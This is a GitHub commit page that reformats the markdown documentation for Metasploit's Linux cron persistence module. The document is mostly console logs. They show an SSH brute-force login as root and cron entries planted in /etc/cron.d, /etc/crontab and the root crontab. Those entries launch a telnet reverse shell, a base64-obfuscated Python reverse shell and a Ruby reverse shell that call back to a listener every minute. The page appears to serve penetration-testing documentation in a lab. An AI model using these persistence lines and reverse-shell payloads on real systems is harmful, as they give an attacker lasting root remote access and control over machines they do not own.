Skip to content

Commit 35e3fb3

Browse files
author
h00die
committed
fixed markdown
1 parent 0f2c1d8 commit 35e3fb3

File tree

1 file changed

+107
-108
lines changed

1 file changed

+107
-108
lines changed

‎documentation/modules/exploit/linux/local/cron_persistence.md

Lines changed: 107 additions & 108 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
### Creating A Testing Environment
22

3-
This module has been tested against:
4-
1. Kali Rolling
3+
This module has been tested against:
4+
5+
1. Kali Rolling
56

67
## Verification Steps
78

@@ -27,119 +28,117 @@
2728

2829
**cleanup**
2930

30-
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. THIS WILL STOP THE PERSISTENCE!!!
31+
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!**
3132

3233
## Scenarios
3334

3435
### Kali Rolling (root)
3536

3637
Initial Access
37-
```
38-
msf > use auxiliary/scanner/ssh/ssh_login
39-
msf auxiliary(ssh_login) > set username root
40-
username => root
41-
msf auxiliary(ssh_login) > set password password
42-
password => password
43-
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
44-
rhosts => 10.10.60.168
45-
msf auxiliary(ssh_login) > exploit
46-
47-
[*] 10.10.60.168:22 SSH - Starting bruteforce
48-
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
49-
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
50-
[*] Scanned 1 of 1 hosts (100% complete)
51-
[*] Auxiliary module execution completed
52-
```
38+
39+
msf > use auxiliary/scanner/ssh/ssh_login
40+
msf auxiliary(ssh_login) > set username root
41+
username => root
42+
msf auxiliary(ssh_login) > set password password
43+
password => password
44+
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
45+
rhosts => 10.10.60.168
46+
msf auxiliary(ssh_login) > exploit
47+
48+
[*] 10.10.60.168:22 SSH - Starting bruteforce
49+
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
50+
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
51+
[*] Scanned 1 of 1 hosts (100% complete)
52+
[*] Auxiliary module execution completed
53+
5354
Run our module (Cron)
54-
```
55-
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
56-
msf exploit(cron_persistence) > set session 1
57-
session => 1
58-
msf exploit(cron_persistence) > set verbose true
59-
verbose => true
60-
msf exploit(cron_persistence) > set target 0
61-
target => 0
62-
msf exploit(cron_persistence) > exploit
63-
64-
[*] Started reverse double handler
65-
[*] Max line length is 65537
66-
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
67-
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
68-
[*] Waiting 90sec for callback
69-
[*] Accepted the first client connection...
70-
[*] Accepted the second client connection...
71-
[*] Command: echo xPBXQvodQdzgByKR;
72-
[*] Writing to socket A
73-
[*] Writing to socket B
74-
[*] Reading from sockets...
75-
[*] Reading from socket A
76-
[*] A: "xPBXQvodQdzgByKR\r\n"
77-
[*] Matching...
78-
[*] B is input...
79-
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
80-
[+] Deleted /etc/cron.d/FiThkldAZR
81-
```
55+
56+
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
57+
msf exploit(cron_persistence) > set session 1
58+
session => 1
59+
msf exploit(cron_persistence) > set verbose true
60+
verbose => true
61+
msf exploit(cron_persistence) > set target 0
62+
target => 0
63+
msf exploit(cron_persistence) > exploit
64+
65+
[*] Started reverse double handler
66+
[*] Max line length is 65537
67+
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
68+
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
69+
[*] Waiting 90sec for callback
70+
[*] Accepted the first client connection...
71+
[*] Accepted the second client connection...
72+
[*] Command: echo xPBXQvodQdzgByKR;
73+
[*] Writing to socket A
74+
[*] Writing to socket B
75+
[*] Reading from sockets...
76+
[*] Reading from socket A
77+
[*] A: "xPBXQvodQdzgByKR\r\n"
78+
[*] Matching...
79+
[*] B is input...
80+
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
81+
[+] Deleted /etc/cron.d/FiThkldAZR
82+
8283
Run our module (System Crontab)
83-
```
84-
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
85-
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
86-
payload => cmd/unix/reverse_python
87-
msf exploit(cron_persistence) > set lhost 192.168.199.128
88-
lhost => 192.168.199.128
89-
msf exploit(cron_persistence) > set session 1
90-
session => 1
91-
msf exploit(cron_persistence) > set verbose true
92-
verbose => true
93-
msf exploit(cron_persistence) > set target 2
94-
target => 2
95-
msf exploit(cron_persistence) > set cleanup false
96-
cleanup => false
97-
msf exploit(cron_persistence) > exploit
98-
99-
[*] Started reverse handler on 192.168.199.128:4444
100-
[*] Max line length is 65537
101-
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
102-
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
103-
[*] Waiting 90sec for callback
104-
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
105-
106-
```
84+
85+
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
86+
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
87+
payload => cmd/unix/reverse_python
88+
msf exploit(cron_persistence) > set lhost 192.168.199.128
89+
lhost => 192.168.199.128
90+
msf exploit(cron_persistence) > set session 1
91+
session => 1
92+
msf exploit(cron_persistence) > set verbose true
93+
verbose => true
94+
msf exploit(cron_persistence) > set target 2
95+
target => 2
96+
msf exploit(cron_persistence) > set cleanup false
97+
cleanup => false
98+
msf exploit(cron_persistence) > exploit
99+
100+
[*] Started reverse handler on 192.168.199.128:4444
101+
[*] Max line length is 65537
102+
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
103+
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
104+
[*] Waiting 90sec for callback
105+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
106+
107107
And since we didn't clean up, if our session dies...
108-
```
109-
^C
110-
Abort session 2? [y/N] y
111-
112-
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
113-
msf exploit(cron_persistence) > use exploit/multi/handler
114-
msf exploit(handler) > set payload cmd/unix/reverse_python
115-
payload => cmd/unix/reverse_python
116-
msf exploit(handler) > set lhost 192.168.199.128
117-
lhost => 192.168.199.128
118-
msf exploit(handler) > exploit
119-
120-
[*] Started reverse handler on 192.168.199.128:4444
121-
[*] Starting the payload handler...
122-
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
123-
```
108+
109+
^C
110+
Abort session 2? [y/N] y
111+
112+
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
113+
msf exploit(cron_persistence) > use exploit/multi/handler
114+
msf exploit(handler) > set payload cmd/unix/reverse_python
115+
payload => cmd/unix/reverse_python
116+
msf exploit(handler) > set lhost 192.168.199.128
117+
lhost => 192.168.199.128
118+
msf exploit(handler) > exploit
119+
120+
[*] Started reverse handler on 192.168.199.128:4444
121+
[*] Starting the payload handler...
122+
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
123+
124124
Run our module (User Crontab)
125-
```
126-
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
127-
payload => cmd/unix/reverse_ruby
128-
msf exploit(cron_persistence) > set lhost 192.168.199.128
129-
lhost => 192.168.199.128
130-
msf exploit(cron_persistence) > set session 1
131-
session => 1
132-
msf exploit(cron_persistence) > set verbose true
133-
verbose => true
134-
msf exploit(cron_persistence) > set target 1
135-
target => 1
136-
msf exploit(cron_persistence) > exploit
137-
138-
[*] Started reverse handler on 192.168.199.128:4444
139-
[*] Max line length is 65537
140-
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
141-
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
142-
[*] Reloading cron to pickup new entry
143-
[*] Waiting 90sec for callback
144-
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
145-
```
125+
126+
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
127+
payload => cmd/unix/reverse_ruby
128+
msf exploit(cron_persistence) > set lhost 192.168.199.128
129+
lhost => 192.168.199.128
130+
msf exploit(cron_persistence) > set session 1
131+
session => 1
132+
msf exploit(cron_persistence) > set verbose true
133+
verbose => true
134+
msf exploit(cron_persistence) > set target 1
135+
target => 1
136+
msf exploit(cron_persistence) > exploit
137+
138+
[*] Started reverse handler on 192.168.199.128:4444
139+
[*] Max line length is 65537
140+
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
141+
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
142+
[*] Reloading cron to pickup new entry
143+
[*] Waiting 90sec for callback
144+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400

0 commit comments

Comments
 (0)